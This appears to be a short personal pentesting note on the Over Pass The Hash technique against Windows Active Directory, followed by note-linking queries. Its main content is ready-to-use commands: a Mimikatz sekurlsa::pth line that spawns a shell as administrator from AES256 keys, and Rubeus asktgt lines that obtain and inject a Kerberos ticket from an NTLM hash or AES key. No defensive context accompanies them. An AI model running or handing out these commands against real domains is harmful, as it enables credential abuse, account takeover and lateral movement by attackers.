Over Pass The Hash

Technique Info

Over Pass The Hash with SafetyKatz.exe (Need Elevation)

MimiKatz.exe "sekurlsa::pth /user:administrator /domain:<ad-domain> /aes256:aes256keys /run: cmd.exe" "exit"

Over Pass The Hash with Rubeus.exe

# no elevation needed
Rubeus.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt
 
# elevation is needed
Rubeus.exe asktgt /user:Administrator /aes256: /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "active-directory") OR contains(tags, "lateral-movement") OR contains(tags, "authentication")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC

lateral-movement

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "lateral-movement")
SORT file.ctime DESC

authentication

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "authentication")
SORT file.ctime DESC